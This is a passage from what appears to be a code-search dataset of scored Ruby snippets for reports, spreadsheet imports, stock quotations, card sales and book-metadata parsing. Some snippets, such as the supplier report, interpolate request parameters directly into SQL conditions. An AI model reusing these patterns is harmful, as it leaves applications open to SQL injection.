finding ELEMENT\" + e.message\n\t\tend\t\n\tend", "title": "" }, { "docid": "0c87d2bc191320a9c40075eb763d37c4", "score": "0.48417455", "text": "def rpt_purchaseorder2_all\n $lcxCliente = \"0\" \n @company =Company.find(1)\n @fecha1 =params[:fecha1]\n @fecha2 =params[:fecha2]\n\n @rpt_purchaseorder = @company.get_purchaseorder_detail2(@fecha1,@fecha2)\n\n Prawn::Document.generate(\"app/pdf_output/orden_1.pdf\") do |pdf|\n pdf.font \"Helvetica\"\n pdf = build_pdf_header2(pdf)\n pdf = build_pdf_body2(pdf)\n build_pdf_footer2(pdf)\n $lcFileName = \"app/pdf_output/orden_1.pdf\" \n \n end \n\n $lcFileName1=File.expand_path('../../../', __FILE__)+ \"/\"+$lcFileName\n \n send_file(\"#{$lcFileName1}\", :type => 'application/pdf', :disposition => 'inline')\n \n\n end", "title": "" }, { "docid": "c7a72dd1373a1799124bdcf09fb80b2d", "score": "0.48345", "text": "def product_pages1(sle)\n \tFile.open(\"buckle_cat.txt\", 'r') do |prod_cat|\n \t\tprod_pag_count = 0\n \t\tFile.open(\"buckle_prod.txt\", 'a+') do |v|\n \t prod_cat.each do |pp_c|\n \t prod_pag_count = prod_pag_count + 1\n if prod_pag_count == 5\n \t sleep(sle)\n \t prod_pag_count = 0\n \t end\n \t url = \"http://buckle.com#{pp_c}\"\n \t pag_cat_content = httparty(url)\n \t if pag_cat_content.match(/<a href\\=\\\"([^\\\"]*sku\\-[^\\\"]*)\\\"\\sclass\\=\\\"prodDetail/i)\n puts pag_cat_content.scan(/<a href\\=\\\"([^\\\"]*sku\\-[^\\\"]*)\\\"\\sclass\\=\\\"prodDetail/i)\n v.puts pag_cat_content.scan(/<a href\\=\\\"([^\\\"]*sku\\-[^\\\"]*)\\\"\\sclass\\=\\\"prodDetail/i)\n v.puts\n #f.puts pag_cat_content.scan(/<li style\\=\\\"font\\-size[^>]*><a href='([^\\']*)\\'/i)\n #puts pag_cat_content.scan(/<li style\\=\\\"font\\-size[^>]*><a href='([^\\']*)\\'/i)\n else\n \t puts \"The give Product Regex was wrong..Please test it and give the correct one\"\n end\n end\n end\n end\n end", "title": "" }, { "docid": "52253ede4affa02124854b07718ecc52", "score": "0.48324355", "text": "def process_xlss(specific_year=nil)\n data = []\n STATES_WITH_DC.each do |state|\n puts \"PROCESSING #{state}...\"\n SPECS.each do |spec|\n # Years to iterate over either determined by spec, or just a single year\n year_collection = specific_year.nil? ? spec[:years] : [specific_year]\n year_collection.each do |year|\n spreadsheet =\n if year >= 2014\n RubyXL::Parser.parse get_filename(year, state)\n else\n Spreadsheet.open get_filename(year, state)\n end\n spec[:years].each do |spec_year|\n next unless spec_year == year\n spec[:tests].each do |test_name, cells_of_interest|\n cells_of_interest.each do |tab, column_rows|\n column_rows.each do |column_row|\n data << [\n state,\n year,\n test_name,\n tab,\n column_row,\n get_value(spreadsheet, year, state, tab, column_row)\n ]\n end\n end\n end\n end\n end\n end\n end\n data\nend", "title": "" }, { "docid": "9c5d88b0229a68e4df4d1c5263817fa0", "score": "0.48244628", "text": "def hunt_for_field_values sheet, field_name , probing_num_rows = false\n sheet_name=sheet.attributes[\"name\"]\n\n field_cell = sheet.find(\"//ss:sheet[@name='#{sheet_name}']/ss:rows/ss:row/ss:cell\").find do |cell|\n #cell.content.match(/^#{field_name}$/i)\n cell.content.downcase == field_name.downcase\n end\n unless field_cell.nil?\n #find the next column for this row that contains content\n row = field_cell.attributes[\"row\"].to_i\n col = field_cell.attributes[\"column\"].to_i\n\n start_row = row + @parser_mapping[:data_row_offset] - 1 # subtracting 1 here gives us a clearer semantic for data_row_offset in the parser mappings. data_row_offset means \"add this number to header row to get to first data row\"\n #start_row = row + 1\n #start_row = row if [\"RNA Extraction\", \"Sequencing\"].include? field_name\n #start_row = row + 2 if [\"Treatment\", \"Optional\"].include? field_name\n #row +1 is source name or sample name that is hidden in the file\n if probing_num_rows\n field_values = sheet.find(\"//ss:sheet[@name='#{sheet_name}']/ss:rows/ss:row/ss:cell[@row > #{start_row} and @column=#{col}]\").select do |cell|\n !cell.content.blank?\n end\n @start_row = start_row + 1 #that is the first row with data, cf. the condition in the xpath @row > #{start_row}\n else # if probing_num_rows == false we assume that @num_rows has been set to the correct value\n field_values = sheet.find(\"//ss:sheet[@name='#{sheet_name}']/ss:rows/ss:row/ss:cell[@row > #{start_row} and @row <= #{start_row + @num_rows} and @column=#{col}]\").collect {|cell| cell }\n end\n end\n field_values\n end", "title": "" }, { "docid": "c5d06e5eafa925473c01b4c96353e031", "score": "0.48148957", "text": "def processbarcode\n if !params[:barcode].blank?\n if Spree::Variant.exists?(:sku => params[:barcode])\n @variant = Spree::Variant.find_by sku: params[:barcode]\n else\n redirect_to admin_cases_receive_path, :flash => { :error => \"Product not found, please have floor manager create it!\" }\n end\n end\n end", "title": "" }, { "docid": "fe521625b3768795a997b47782e0b77a", "score": "0.48114154", "text": "def import_from_excel\n ::Product.truncate_table\n @table.default_sheet = @table.sheets.first\n products = []\n i=0\n 1.upto(@table.last_row) do |line|\n i+=1\n article = @table.cell(line, 'A')\n type = @table.cell(line, 'B')\n next if article.blank? || type.blank?\n type = 'серьги' if type.include? 'ерьги'\n price = @table.cell(line, 'D')\n count = @table.cell(line, 'E')\n time = Time.zone.now.to_s.sub(' UTC', '')\n cat_id =\n ::Category.find_or_create_by(title: type).try(:id)\n products.push(\"('#{article}', '#{price.to_f.abs}', '#{cat_id}', '#{count.to_i}', '#{time}', '#{time}')\")\n if i == 1000\n ::Product.append_new(products)\n products = []\n end\n end\n ::Product.append_new(products)\n end", "title": "" }, { "docid": "4dd941c2b9ef7dd6611298a1f661de17", "score": "0.48103255", "text": "def obtenerStock(sku_id)\n sku_stock = 0\n almacenes = getAlmacenes()\n almacenes.each do |almacen|\n #-----Solo se toma el stock que se encuentra en el almacen principal como stock disponible\n if almacen[\"pulmon\"] == false and almacen[\"despacho\"] == false and almacen[\"recepcion\"] == false\n skus_with_stock = getSkusWithStock(almacen[\"_id\"])\n if !skus_with_stock.nil? and !skus_with_stock.empty? and !skus_with_stock.find { |h| h['_id'].to_s == sku_id.to_s }.nil?\n sku_products = getStock(almacen[\"_id\"], sku_id)\n sku_products.each do |product|\n if product[\"despachado\"] == false\n sku_stock += 1\n end\n end \n end\n end\n end\n sku_stock\n end", "title": "" }, { "docid": "40341a8db5b824bf00af19b0f23b54fc", "score": "0.4809725", "text": "def product_wise__supplier_list\nhome=Home.last\nif(home)\nprawn_logo = \"public/images/#{home.image_path}\"\n\nelse\nprawn_logo = \"public/images/hs-gol.png\"\nend\nitem_name=params[:item_name]\n \nrequire 'rubygems'\n \trequire 'thinreports'\n ThinReports::Report.generate_file('app/views/reports/product_wise_supplier.pdf') do\n use_layout 'app/views/reports/product_wise_supplier1.tlf'\n start_new_page do\n \t org_master_child=OrgMasterChildTable.last\n \t\n \t item(:image).value prawn_logo\n \t \t item(:address1).value org_master_child.address.split(\";\")[0]\n \titem(:address2).value org_master_child.address.split(\";\")[1]\n \titem(:address3).value org_master_child.address.split(\";\")[2]\n \titem(:address4).value org_master_child.address.split(\";\")[3] \n \titem(:to_date).value Time.new.strftime(\"%d-%m-%Y %H:%M\") \n \titem(:report_name).value \"Productwise Supplier List Report\"\n\n \ts_no=1\n \ttotal=0\nitem_names=StoreChild.find(:all, :conditions=>\"item_name like '#{item_name}%'\")\n\n \tfor item in item_names\ngood_receipt=Goodsrecieptnotemaster.find_by_id(item.goodsrecieptnotemaster_id)\nagency_master=\"\"\nif(good_receipt)\nagency_master1=AgencyMaster.find_by_agency_name(good_receipt.agency_name)\nagency_master=agency_master1.contact_no.to_s\nend\n \t \treport.page.list(:list).add_row do |row|\n \t \t row.item(:s_no).value s_no\n \t \t row.item(:product).value item.item_name\n \t \t row.item(:supplier).value good_receipt.agency_name\n \t \t row.item(:city).value good_receipt.address\n \t \t row.item(:phone).value agency_master\n\n\t\t\trow.item(:mrp).value item.mrp\n\t\t\t total=total+item.mrp\n \t end\n \t \t s_no=s_no+1\n \t \t item(:count).value s_no-1 \t\n \t \t item(:page_no).value 1\n \t\t item(:total).value \"%05.2f\" % total\n \t end\n\n\n end\nend\nredirect_to(\"/reports/product_wise_supplier/1?format=pdf\")\t\nend", "title": "" }, { "docid": "c583af4d0d482bf09b5c9442cd3fb335", "score": "0.48074338", "text": "def info_for_sparkfun(part_number, manufacturer_part_number=nil, quantity=nil)\n\n #Apply a heuristic to convert SFE part numbers to URLs.\n part_number = part_number.gsub(/COM-0/, '')\n part_number.strip!\n\n #Fetch the Digi-key page for the given part number.\n page = Mechanize.new.get(\"https://www.sparkfun.com/products/#{part_number}\")\n\n #Return the disabled stock.\n { :stock => page.search('//*[@id=\"quantity-discounts\"]/table/tr[2]/td[2]').text.split.first.to_i }\n\nend", "title": "" }, { "docid": "b669375f09b47fd32941d22e5f64feaa", "score": "0.48033792", "text": "def card_from_group_sell\n @doc.page {\n cg = Cardgroup.includes([:tariff, :lcr, :location, :tax]).where(:id => @values[:id], :owner_id => @current_user.get_correct_owner_id).first\n if cg\n value_number = params[:number].to_i\n value_number_is_present = (value_number > 0)\n value_quantity = @values[:quantity].to_i\n cards_size = ((value_quantity < 1) || value_number_is_present) ? 1 : value_quantity\n where_clause = value_number_is_present ? ['number = ?', value_number] : 'sold = 0'\n cards_to_sell = cg.cards.where(where_clause).order('id').limit(cards_size)\n unless cards_to_sell.blank?\n unless value_number_is_present && (cards_to_sell[0].sold.to_i == 1)\n @doc.cards {\n for card in cards_to_sell\n if card.sell\n if params[:email]\n order = Ccorder.new(amount: card.balance,\n currency: Currency.get_default.name,\n ordertype: 'unspecified',\n date_added: Time.now,\n completed: 1,\n email: params[:email],\n tax_percent: 0)\n order.save\n\n line_item = Cclineitem.new(cardgroup: card.cardgroup,\n quantity: 1,\n ccorder: order,\n price: card.balance,\n card: card)\n line_item.save\n\n thread = Thread.new(order) do |order|\n begin\n EmailsController::send_to_users_paypal_email(order)\n rescue\n target_id = User.find_by_email(params[:email], @current_user.id).first.try(:id)\n target_id ||= -1\n Action.add_action_hash(@current_user.owner_id, {action: 'error', data: _('Cant_send_email'),\n data2: _('invalid_emails_configuration'), target_type: \"#{params[:email]}\",\n target_id: target_id})\n end\n ActiveRecord::Base.connection.close\n end\n end\n\n Action.add_action_hash(@current_user, {:action => 'card_sell_over_api', :target_id => card.id, :target_type => 'Card'})\n @doc.card {\n @doc.pin(card.pin)\n @doc.number(card.number)\n @doc.balance_without_vat(card.balance)\n @doc.currency(Currency.get_default.name)\n }\n else\n @doc = MorApi.return_error('Card error', @doc)\n end\n end\n }\n else\n @doc = MorApi.return_error('Card is already sold', @doc)\n end\n else\n @doc = MorApi.return_error('Free cards was not found', @doc)\n end\n else\n @doc = MorApi.return_error('Cardgroup was not found', @doc)\n end\n }\n send_xml_data(@out_string, params[:test].to_i)\n end", "title": "" }, { "docid": "1c1f34894e6cfb79695b62c2064da76b", "score": "0.48018283", "text": "def quotationfileprocess filename, path \n \n fcols = filename.split(\"_\") \n tag = fcols[0].strip\n\n case tag\n when 'A'\n File.open(path, 'r') do |file|\n file.each_line do |line|\n cols = line.force_encoding('gb2312').split(\"\\t\")\n if /\\d{6}/ =~ cols[0][2..7].strip\n #added new quotation\n q = Quotation.new\n q.marketdate = tradedate(tag)\n \n q.code = cols[0][2..7].strip\n q.name = cols[1].strip\n q.cqstatus = 'chuxi' unless q.name[0..1] != 'XD'\n q.cqstatus = 'chuquan' unless q.name[0..1] != 'XR'\n q.cqstatus = 'quanxi' unless q.name[0..1] != 'DR'\n q.plate = cols[18].strip\n\n if cols[11].strip == '--'\n preq = Quotation.find_by(marketdate: pretradedate(tag), code: q.code, tag: q.tag) \n q.open = 0 \n q.high = 0 \n q.low = 0 \n q.close = cols[14].strip\n q.dprofit = 0 \n q.volume = 0\n q.amount = 0 \n\n q.tpstatus = 'tingpai' \n else\n q.open = cols[11].strip\n q.high = cols[12].strip\n q.low = cols[13].strip\n q.close = cols[3].strip\n\n q.dprofit = cols[2].strip\n q.volume = cols[7].strip\n q.amount = cols[16].strip\n if cols[5].strip == '--'\n q.tpstatus = 'dieting' \n end\n if cols[6].strip == '--'\n q.tpstatus = 'zhangting' \n end\n end\n\n q.tag = tag \n q.save\n end\n end\n file.close\n end\n when 'M'\n File.open(path, 'r') do |file|\n file.each_line do |line|\n cols = line.force_encoding('gb2312').split(\"\\t\")\n m = /=\"(.*)\"/.match(cols[0])\n unless m[1].nil? \n #added new quotation\n q = Quotation.new\n q.marketdate = tradedate(tag)\n \n q.code = m[1].strip\n q.name = cols[1].strip\n #q.cqstatus = 'chuxi' unless q.name[0..1] != 'XD'\n #q.cqstatus = 'chuquan' unless q.name[0..1] != 'XR'\n #q.cqstatus = 'quanxi' unless q.name[0..1] != 'DR'\n q.plate = cols[14].strip\n\n if cols[9].strip == '--'\n preq = Quotation.find_by(marketdate: pretradedate(tag), code: q.code, tag: q.tag) \n q.open = 0 \n q.high = 0 \n q.low = 0 \n q.close = cols[12].strip\n q.dprofit = 0 \n q.volume = 0\n\n q.tpstatus = 'tingpai' \n else\n q.open = cols[9].strip\n q.high = cols[10].strip\n q.low = cols[11].strip\n q.close = cols[12].strip\n\n q.dprofit = cols[2].strip\n q.volume = cols[7].strip\n #if cols[5].strip == '--'\n # q.tpstatus = 'dieting' \n #end\n #if cols[6].strip == '--'\n # q.tpstatus = 'zhangting' \n #end\n end\n\n q.tag = tag \n q.save\n end\n end\n file.close\n end\n\n when 'G'\n File.open(path, 'r') do |file|\n file.each_line do |line|\n cols = line.force_encoding('gb2312').split(\"\\t\")\n if /\\d{5}/ =~ cols[0][2..6].strip\n #added new quotation\n q = Quotation.new\n q.marketdate = tradedate(tag)\n \n q.code = cols[0][2..6].strip\n q.name = cols[1].strip\n q.cqstatus = 'chuxi' unless q.name[0..1] != 'XD'\n q.cqstatus = 'chuquan' unless q.name[0..1] != 'XR'\n q.cqstatus = 'quanxi' unless q.name[0..1] != 'DR'\n q.plate = cols[14].strip\n\n if cols[10].strip == '--'\n preq = Quotation.find_by(marketdate: pretradedate(tag), code: q.code, tag: q.tag) \n q.open = 0 \n q.high = 0 \n q.low = 0 \n q.close = cols[20].strip\n q.dprofit = 0 \n q.volume = 0 \n q.amount = 0 \n\n q.tpstatus = 'tingpai' \n else\n q.open = cols[10].strip\n q.high = cols[11].strip\n q.low = cols[12].strip\n q.close = cols[20].strip\n\n q.dprofit = cols[2].strip\n q.volume = cols[6].strip\n q.amount = cols[13].strip\n #if cols[5].strip == '--'\n # q.tpstatus = 'dieting' \n #end\n #if cols[6].strip == '--'\n # q.tpstatus = 'zhangting' \n #end\n end\n\n q.tag = tag \n q.save\n end\n end\n file.close\n end\n \n else\n\n end\n\n\tend", "title": "" }, { "docid": "c02a2ce4408c9e9ffe7c8f40b7ba74bf", "score": "0.47963414", "text": "def get_traduction(num_sourate, lst_traduction)\n tab_verset = nil\n unless lst_traduction.nil? or lst_traduction == \"none\"\n require 'open-uri'\n s3 = AWS::S3.new\n url = s3.buckets['hafizbe'].objects[\"traduction/#{lst_traduction}/Chapter#{num_sourate}.xml\"].url_for(:read, :secure => false).to_s\n document = Nokogiri::XML(open(url))\n versets = document.xpath(\"//Verse/text()\")\n tab_verset = []\n versets.each do |verset|\n tab_verset << verset.text()\n end\n tab_verset\n end\n end", "title": "" }, { "docid": "7f1607bb52894a5372009db1f06de247", "score": "0.4795078", "text": "def perform_import!\n parse_file\n save_purchases\n end", "title": "" }, { "docid": "a3209fb731b593943f4879b10bdc6d41", "score": "0.47944865", "text": "def contract_rate_card\n all_units_of_measurement = CCS::FM::UnitsOfMeasurement.select(:id, :service_usage, :unit_measure_label)\n\n selected_building_names = []\n selected_building_info = []\n get_building_data(selected_building_names, selected_building_info)\n\n @workbook.add_worksheet(name: 'Contract Rate Card') do |sheet|\n header_row_style = sheet.styles.add_style sz: 12, b: true, alignment: { wrap_text: true, horizontal: :center, vertical: :center }, border: { style: :thin, color: '00000000' }\n price_style = sheet.styles.add_style sz: 12, format_code: '£#,##0.00', border: { style: :thin, color: '00000000' }, alignment: { wrap_text: true, vertical: :center }\n percentage_style = sheet.styles.add_style sz: 12, format_code: '#,##0.00 %', border: { style: :thin, color: '00000000' }, alignment: { wrap_text: true, vertical: :center }\n standard_column_style = sheet.styles.add_style sz: 12, alignment: { horizontal: :left, vertical: :center }, border: { style: :thin, color: '00000000' }\n bold_style = sheet.styles.add_style sz: 12, b: true\n\n sheet.add_row [@supplier_name], style: bold_style\n sheet.add_row ['Table 1. Service rates']\n\n new_row = ['Service Reference', 'Service Name', 'Unit of Measure']\n selected_building_names.each { |building_name| new_row << building_name }\n sheet.add_row new_row, style: header_row_style\n\n if @supplier_name\n rate_card_variances = @rate_card_data[:Variances][@supplier_name.to_sym]\n rate_card_prices = @rate_card_data[:Prices][@supplier_name.to_sym]\n @data_no_cafmhelp_removed.keys.collect { |k| @data_no_cafmhelp_removed[k].keys }\n .flatten.uniq\n .sort_by { |code| [code[0..code.index('.') - 1], code[code.index('.') + 1..-1].to_i] }.each do |s|\n new_row = []\n\n # for each building type, I need to see if the actual building name (which can contain several building id's if the same service\n # is contained in several building) has the service. for example two buildings may have the type warehouse and contain the same same C.1 service\n selected_building_names.each do |building_name|\n building_type_ids = selected_building_info.select { |building_info| building_info[:\"building-type\"] == building_name }\n building_linking_to_this_service = []\n building_type_ids.each do |building_type_id|\n contract_building_service = @uvals_contract.select { |uval| uval[:service_code] == s && uval[:building_id] == building_type_id[:building_id] }\n building_linking_to_this_service << contract_building_service unless contract_building_service.empty?\n end\n\n # only output the rate value for the cell if the service uval contains the building type otherwise output nil for the excel cell value\n is_building_containing_service = !building_linking_to_this_service.empty?\n row_value = nil unless is_building_containing_service\n row_value = @rate_card_data[:Prices][@supplier_name.to_sym][s.to_sym][building_name.to_sym] if is_building_containing_service\n new_row << row_value\n end\n\n unit_of_measurement_row = all_units_of_measurement.where(\"array_to_string(service_usage, '||') LIKE :code\", code: '%' + s + '%').first\n unit_of_measurement_value = begin\n unit_of_measurement_row['unit_measure_label']\n rescue NameError\n nil\n end\n new_row = ([s, rate_card_prices[s.to_sym][:'Service Name'], unit_of_measurement_value] << new_row).flatten\n\n styles = [standard_column_style, standard_column_style, standard_column_style]\n\n CCS::FM::RateCard.building_types.count.times do\n styles << percentage_style if ['M.1', 'N.1'].include? s\n styles << price_style unless ['M.1', 'N.1'].include? s\n end\n\n sheet.add_row new_row, style: styles\n end\n\n sheet.add_row\n sheet.add_row\n sheet.add_row ['Table 2. Pricing Variables']\n sheet.add_row ['Cost type', 'Unit of Measure', 'Rate'], style: header_row_style\n\n sheet.add_row ['Cleaning Consumables', 'price per building occupant per annum', rate_card_variances[:'Cleaning Consumables per Building User (£)']], style: [standard_column_style, standard_column_style, price_style]\n sheet.add_row ['Management Overhead', 'percentage of deliverables value', rate_card_variances[:\"Management Overhead %\"]], style: [standard_column_style, standard_column_style, percentage_style]\n sheet.add_row ['Corporate Overhead', 'percentage of deliverables value', rate_card_variances[:\"Corporate Overhead %\"]], style: [standard_column_style, standard_column_style, percentage_style]\n sheet.add_row ['Profit', 'percentage of deliverables value', rate_card_variances[:'Profit %']], style: [standard_column_style, standard_column_style, percentage_style]\n sheet.add_row ['London Location Variance Rate', 'variance to standard service rate', rate_card_variances[:'London Location Variance Rate (%)']], style: [standard_column_style, standard_column_style, percentage_style]\n sheet.add_row ['TUPE Risk Premium', 'percentage of deliverables value', rate_card_variances[:'TUPE Risk Premium (DA %)']], style: [standard_column_style, standard_column_style, percentage_style]\n sheet.add_row ['Mobilisation Cost', 'percentage of deliverables value', rate_card_variances[:'Mobilisation Cost (DA %)']], style: [standard_column_style, standard_column_style, percentage_style]\n end\n end\n end", "title": "" }, { "docid": "cc04a4f7159b4e4d336ec45175e2d681", "score": "0.47933796", "text": "def import_lift_data\n service_volume_lifts_sheet = @user_uploaded_spreadsheet.sheet('Service Volumes 2')\n spreadsheet_import_loop([service_volume_lifts_sheet, 1, 'OK'], [service_volume_lifts_sheet, 2, 1], 6, :lifts_incomplete) do |col, building_index|\n procurement_building_service = @procurement_array[building_index][:procurement_building][:procurement_building_services].pluck(:object).find { |pbs| pbs.code == 'C.5' }\n next if procurement_building_service.nil?\n\n service_volume_column = service_volume_lifts_sheet.column(col)[6..45]\n\n next if missing_lifts?(service_volume_column, service_volume_lifts_sheet.column(col)[3])\n\n extract_lift_data(procurement_building_service, service_volume_column)\n end\n end", "title": "" }, { "docid": "5ab8769c1e80d6295c7a7e5a475a79b2", "score": "0.47929227", "text": "def create\n spreadsheet = Roo::Excelx.new(params[:file].path)\n header = spreadsheet.row(32)\n (34..spreadsheet.last_row).each do |i|\n row = Hash[[header, spreadsheet.row(i)].transpose]\n unless ( row['Código'].blank? || Product.find_by(code: row['Ref. Principal']) )\n Product.create(code: row['Código'], name: row['Produto']) unless Product.find_by(code: row['Ref. Principal'])\n end\n end\n\n redirect_to products_path, notice: 'Produtos importados.'\n end", "title": "" }, { "docid": "f3ea7dee5a876f26ac68c499e9ef3c0c", "score": "0.47828352", "text": "def read_tissue_sheet(workbook,sheet_number, first_row, headers)\n workbook.default_sheet = workbook.sheets[sheet_number]\n (first_row..workbook.last_row).each do |row|\n if (valid_row workbook,row, headers[:species], headers[:last_module])\n sample = self.tissue_sample_manifests.build\n set_common_attributes sample, workbook, row, headers\n sample.matrix = strip_decimal workbook.cell(row,headers[:matrix]) \n sample.tissue_weight = round_num(workbook.cell(row,headers[:tissue_weight]))\n sample.weight_units = workbook.cell(row,headers[:units]) \n end\n end \n end", "title": "" }, { "docid": "5e11daee56f77b4569d5b6d5cd85d61a", "score": "0.47796956", "text": "def parse_file\n ((@workbook.first_row + 1)..@workbook.last_row).each do |row|\n row_data = extract_fields(row)\n\n next unless row_data[:active] == 'Active'\n diff = check_date(row_data[:date_end])\n\n # 30 - check_date(row_data[:date_end]) # TODO\n\n if diff >= 25 && diff <= 35\n narrative_email(row_data)\n puts \"Sending an email to #{row_data[:first_name]} #{row_data[:last_name]} at #{row_data[:organization]}; their report is due #{row_data[:date_end]}.\"\n end\n end\nend", "title": "" }, { "docid": "d04537614f7323beb85d966a80f35294", "score": "0.47727147", "text": "def download_data_from_yahoo(page, target_css=\".yfnc_tabledata1\" )\n parseable_page = page.parser\n stocks_data = parseable_page.css(target_css).to_a\n #remove last element which is a chinese word\n stocks_data.pop\n @stocks_data_collection += stocks_data \n end", "title": "" }, { "docid": "00b242f8b618baa035b1eed7580e7dc0", "score": "0.476986", "text": "def changeFWRExcel(excelfile, doeinpfile , outputname)\n #Dumps Excel file into an array of array.\n rows = ExcelToArray(excelfile)\n #Create Building Object.\n building = DOE2::DOEBuilding.new()\n #Read Building File into mememory, and make sure it runs.\n building.read_input_file(doeinpfile, \" ctmy\\\\VANCCTMY \")\n building.get_verticle_wall_area()\n #Find all windows.\n windows = building.commands.find_all_commands(\"WINDOW\")\n #Set Current Window to nothing.\n current_win = \"\"\n #Loop each row.\n rows.each do |row|\n #Set Found flag to flase.\n bfoundflag = false\n #Check the second column in row (The percentage) and make sure it is greater than 0.1. This pervents setting a Zero Window.\n if row[1].to_f > 0.01\n #Loop through each window.\n windows.each do |window|\n #Check to see if the window name matches the name in the excel file.\n if (window.utype == \"\\\"\" + row[0].to_s + \"\\\"\")\n #Set the window to wall ratio to the value in the excel file.\n window.set_fenestration_to_wall_ratio(row[1].to_f)\n # Let user knwo you found this window.\n #Set the flag to true so it stops looking for this file.\n bfoundflag = true\n end\n end\n #Check to see if window was found.\n if bfoundflag == false\n #Tell user you didn't find the window.\n puts \"did not find \" + current_win\n end\n end\n end\n #Run the simulation to make sure it works.\n building.run_simulation(outputname)\n #Returnt the building object.\n return building\n end", "title": "" }, { "docid": "425752e2c2b55553920f3a9c8e3ef81a", "score": "0.47692484", "text": "def rows_generator include_meta_data=false, use_simple_rows_format=false\n path = if @sheetfile.start_with? \"/xl/\" or @sheetfile.start_with? \"xl/\" then @sheetfile else \"xl/#{@sheetfile}\" end\n if @book.files.file.exist?(path)\n # SAX parsing, Each element in the stream comes through as two events:\n # one to open the element and one to close it.\n opener = Nokogiri::XML::Reader::TYPE_ELEMENT\n closer = Nokogiri::XML::Reader::TYPE_END_ELEMENT\n Enumerator.new do |y|\n @headers = nil\n row, cells, cell = nil, {}, nil\n cell_type = nil\n cell_style_idx = nil\n @book.files.file.open(path) do |xml|\n prefix = ''\n name_row = \"row\"\n name_c = \"c\"\n name_v = \"v\"\n name_t = \"t\"\n Nokogiri::XML::Reader.from_io(xml).each do |node|\n if prefix.empty? && node.namespaces.any?\n namespace = node.namespaces.detect{|_key, uri| uri == SPREADSHEETML_URI }\n prefix = if namespace && namespace[0].start_with?('xmlns:')\n namespace[0].delete_prefix('xmlns:') + ':'\n else\n ''\n end\n name_row = \"#{prefix}row\"\n name_c = \"#{prefix}c\"\n name_v = \"#{prefix}v\"\n name_t = \"#{prefix}t\"\n end\n if node.name == name_row && node.node_type == opener\n row = node.attributes\n row['cells'] = {}\n cells = {}\n y << (include_meta_data ? row : cells) if node.self_closing?\n elsif node.name == name_row && node.node_type == closer\n processed_cells = fill_in_empty_cells(cells, row['r'], cell, use_simple_rows_format)\n @headers = processed_cells if with_headers && row['r'] == HEADERS_ROW_NUMBER\n\n if @images_present\n processed_cells.each do |cell_name, cell_value|\n next unless cell_value.nil?\n\n processed_cells[cell_name] = images_at(cell_name)\n end\n end\n\n row['cells'] = processed_cells\n y << (include_meta_data ? row : processed_cells)\n elsif node.name == name_c && node.node_type == opener\n cell_type = node.attributes['t']\n cell_style_idx = node.attributes['s']\n cell = node.attributes['r']\n elsif (node.name == name_v || node.name == name_t) && node.node_type == opener\n unless cell.nil?\n node.read\n cells[cell] = convert(node.value, cell_type, cell_style_idx)\n end\n end\n end\n end\n end\n end\n end", "title": "" }, { "docid": "4a5f0497f872a7db98f6694c45cacea2", "score": "0.47668093", "text": "def load_skm_employee_package(workbook,company,employees)\r\n package_sheet = workbook.worksheet(\"EmployeePackage\")\r\n heads = [SalaryHead.code_for_rent,SalaryHead.code_for_da,SalaryHead.code_for_adhoc,SalaryHead.code_for_conveyance]\r\n package_sheet.each(1) do |row|\r\n attrs = {}\r\n attrs[:company] = company\r\n attrs[:employee] = employees[row.at(0)]\r\n attrs[:employee_package] = EmployeePackage.find_by_employee_id(employees[row.at(0)],:conditions=>['start_date = ?',row.at(5)])\r\n (0..3).each do |i|\r\n attrs[:salary_head] = heads[i]\r\n attrs[:amount] = row.at(i+1).to_f\r\n attrs[:leave_dependent] = true\r\n EmployeePackageHead.create(attrs)\r\n end\r\n end\r\nend", "title": "" }, { "docid": "aa40b622ec1fee97acbdb460db6bf7ba", "score": "0.4763451", "text": "def parse_onix(data)\n msg=ONIX::ONIXMessage.new\n msg.parse(data)\n\n msg.products.each do |product|\n if product.sold_separately?\n\n imml_book=IMML::Book::Book.create(product.ean)\n\n imml_book.metadata=IMML::Book::Metadata.create(product.title, product.language_code_of_text, product.raw_description, product.subtitle, product.publication_date)\n imml_book.metadata.publisher=IMML::Book::Publisher.create(product.publisher_name)\n\n product.contributors.each do |c|\n role=\"author\"\n case c.role.human\n when /Translated/\n role=\"translator\"\n when /Edited/\n role=\"editor\"\n when /Illustraded/\n role=\"illustrator\"\n when /Photograph/\n role=\"photographer\"\n end\n imml_book.metadata.contributors << IMML::Book::Contributor.create(c.name, role)\n end\n\n imml_book.metadata.topics=IMML::Book::Topics.create\n\n product.bisac_categories_codes.each do |bcc|\n imml_book.metadata.topics << IMML::Book::Topic.create(\"bisac\", bcc)\n end\n\n product.clil_categories_codes.each do |bcc|\n imml_book.metadata.topics << IMML::Book::Topic.create(\"clil\", bcc)\n end\n\n product.keywords.each do |bcc|\n imml_book.metadata.topics << IMML::Book::Topic.create(\"keyword\", bcc)\n end\n\n if product.publisher_collection_title\n imml_book.metadata.collection=IMML::Book::Collection.create(product.publisher_collection_title)\n end\n\n imml_book.assets=IMML::Book::Assets.create\n if product.frontcover_url\n mimetype=product.frontcover_mimetype\n unless mimetype\n case product.frontcover_url\n when /\\.png$/\n mimetype=\"image/png\"\n when /\\.jpe?g$/\n mimetype=\"image/jpeg\"\n when /\\.gif$/\n mimetype=\"image/gif\"\n end\n end\n imml_book.assets.cover=IMML::Book::Cover.create(mimetype, nil, product.frontcover_last_updated, nil, product.frontcover_url)\n end\n\n if product.epub_sample_url\n imml_book.assets.extracts << IMML::Book::Extract.create(product.epub_sample_mimetype, nil, product.epub_sample_last_updated, product.epub_sample_url)\n end\n\n if product.digital?\n if product.bundle?\n product.parts.each do |part|\n if part.file_mimetype\n imml_book.assets.fulls << IMML::Book::Full.create(part.file_mimetype, part.filesize)\n end\n end\n else\n imml_book.assets.fulls << IMML::Book::Full.create(product.file_mimetype, product.filesize)\n end\n\n end\n\n# pp product.supplies\n\n\n imml_book.offer=IMML::Book::Offer.create(\"digital\", product.available?)\n if product.pages\n imml_book.offer.pagination=product.pages\n end\n\n product.supplies_with_default_tax.each do |supply|\n if supply[:currency]==\"EUR\"\n imml_book.offer.sales_start_at=IMML::Book::SalesStartAt.create(supply[:availability_date])\n end\n\n if supply[:available]\n current_price=product.current_price_amount_for(supply[:currency]).to_f/100.0\n imml_book.offer.prices << IMML::Book::Price.create(supply[:currency], current_price, supply[:territory].join(\" \"))\n end\n end\n\n if product.print_product\n imml_book.offer.alternatives << IMML::Book::Alternative.create(product.print_product.ean, \"printed\")\n end\n\n @imml_books << imml_book\n\n end\n\n end\n\n\n end", "title": "" }, { "docid": "0cd09fd88076a91870c6457ec9240b85", "score": "0.4762125", "text": "def load_product(filename)\n doc = File.read(filename)\n\t\tflist = 